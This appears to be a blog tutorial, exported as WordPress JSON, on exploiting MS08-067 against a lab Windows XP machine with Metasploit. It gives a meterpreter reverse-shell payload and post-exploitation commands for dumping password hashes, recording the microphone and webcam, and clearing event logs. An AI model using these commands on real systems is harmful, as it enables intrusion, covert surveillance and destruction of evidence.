Windows XP SP 2 Setup:<\/p>\n
Make sure Automatic Updates are disabled, the Windows Firewall is off, and the system has been restarted at least once.<\/p>\n
Metasploit:<\/p>\n
use exploit\/windows\/smb\/ms08_067_netapi<\/p>\n
set rhost 192.168.1.45<\/p>\n
exploit #Do not execute at this point if you want to add the payload below<\/p>\n
? or help\u00a0#see the list of available meterpreter commands<\/p>\n
set PAYLOAD windows\/meterpreter\/reverse_tcp<\/p>\n
set LHOST <attacking_kali_host_ip><\/p>\n
set LPORT <local_port> #default port is 4444<\/p><\/blockquote>\n
You can verify the connection from the remote machine with the following command:<\/p>\n
netstat -a | grep 4444 #4444 assumes default local port<\/p><\/blockquote>\n
Some interesting Meterpreter commands are:<\/p>\n
hashdump #get password hashes to crack, crackstation.net
\nrecord_mic #record audio
\nwebcam_list #list available webcams
\nweb_snap #take a picture with the webcam
\nweb_stream #stream video from webcam
\nsysinfo #get remote system information
\nshutdown #turn off remote computer
\nreboot #reboot remote computer
\nps #list processes running on remote computer
\nkill #end process running on remote computer
\nexecute \u2013f <file> #start program on remote machine
\nclearev #clear the event log
\nupload #send file to remote system
\ndownload #retrieve file from remote system<\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"Windows XP SP 2 Setup: Make sure Automatic Updates are disabled, the Windows Firewall is off, and the system has been restarted at least once. Metasploit: use exploit\/windows\/smb\/ms08_067_netapi set rhost 192.168.1.45 exploit #Do not execute at this point if you want to add the payload below ? or help\u00a0#see the list of available meterpreter commands […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,8,9],"tags":[],"class_list":["post-54","post","type-post","status-publish","format-standard","hentry","category-linux","category-metasploit","category-security"],"_links":{"self":[{"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=\/wp\/v2\/posts\/54","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54"}],"version-history":[{"count":4,"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=\/wp\/v2\/posts\/54\/revisions"}],"predecessor-version":[{"id":110,"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=\/wp\/v2\/posts\/54\/revisions\/110"}],"wp:attachment":[{"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sinjinsmith.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}